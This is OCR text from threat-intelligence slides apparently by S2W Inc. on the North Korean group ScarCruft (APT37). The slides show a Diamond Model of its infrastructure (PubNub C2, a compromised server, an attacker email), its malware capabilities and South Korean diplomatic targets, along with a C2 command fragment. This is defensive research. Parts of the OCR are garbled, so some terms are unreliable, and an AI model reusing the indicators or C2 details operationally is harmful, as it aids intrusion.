DOWN (Transmits CMD command) {"ld":"PC Name""Textdata":"SEVMTw=="} ]

ASEC "RedEyes Group Wiretapping Individuals (APT37)” Copyright © 2025, S2W Inc. 48



| Diamond Model

Infrastructure

C&C Server
PubNub
Compromised South Korean Server

Email
| creativeidea2024@proton.me

Copyright © 2025, S2W Inc.

Adversary

| Type: APT

Origin: North Korea

Threat Actor: ScarCruft

Alias: APT37, Geumseong121, Reaper,
Ricochet Chollima, Pearl Sleet
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| Diamond Model

Capability

Programming Language Malware (Custom) MITRE:

PowerShell Info-stealer Resource De\{elopment
Autolt Ransomware Eefgnse Evasion
Pvthon ersistence
¢ Bgckdoor Command and Control
C/C++ Injector moact
| Rust P
Victim

Target Country: South Korea

Target Sector: Diplomatic

Copyright © 2025, S2W Inc.
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| Takesaway

2

AV
5
a'ud

S
O
S

&P

ChinopuNK: A Subgroup of ScarCruft

This campaign reveals ScarCruft's internal subgroups, with ChinopuNK linked to
Chinotto and now spreading new malware via real-time messaging C2s.

Use of Multiple Programming Languages

ScarCruft has begun adopting modern languages such as Go and Rust, reusing
existing malware to increase versatility and strengthen detection evasion.

A Shift in ScarCruft's Strategic Objectives

The introduction of ransomware marks a departure from ScarCruft's traditional
espionage focus, suggesting new financial motives or broader disruptive objectives.

Copyright © 2025, S2W Inc.
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